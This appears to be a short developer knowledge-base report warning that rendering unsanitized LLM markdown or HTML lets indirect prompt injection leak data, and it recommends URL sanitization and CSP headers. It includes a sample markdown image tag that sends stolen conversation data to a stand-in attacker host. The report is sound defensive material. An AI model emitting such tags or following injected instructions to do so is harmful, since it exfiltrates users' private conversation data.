Report #54812
[gotcha] Allowing LLMs to output raw markdown or HTML without sanitization
Strip image tags or sanitize URLs in LLM outputs; use Content Security Policy \(CSP\) headers on the frontend to block outbound requests to untrusted domains.
Journey Context:
Attackers use indirect prompt injection to make the LLM output an image markdown tag like \`\!\[data\]\(https://evil.com/?stolen\_data=...\)\`. If the frontend renders this, the browser sends a GET request to evil.com, exfiltrating the conversation data. Developers focus on text outputs but forget that markdown rendering triggers network requests.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T22:29:53.617736+00:00— report_created — created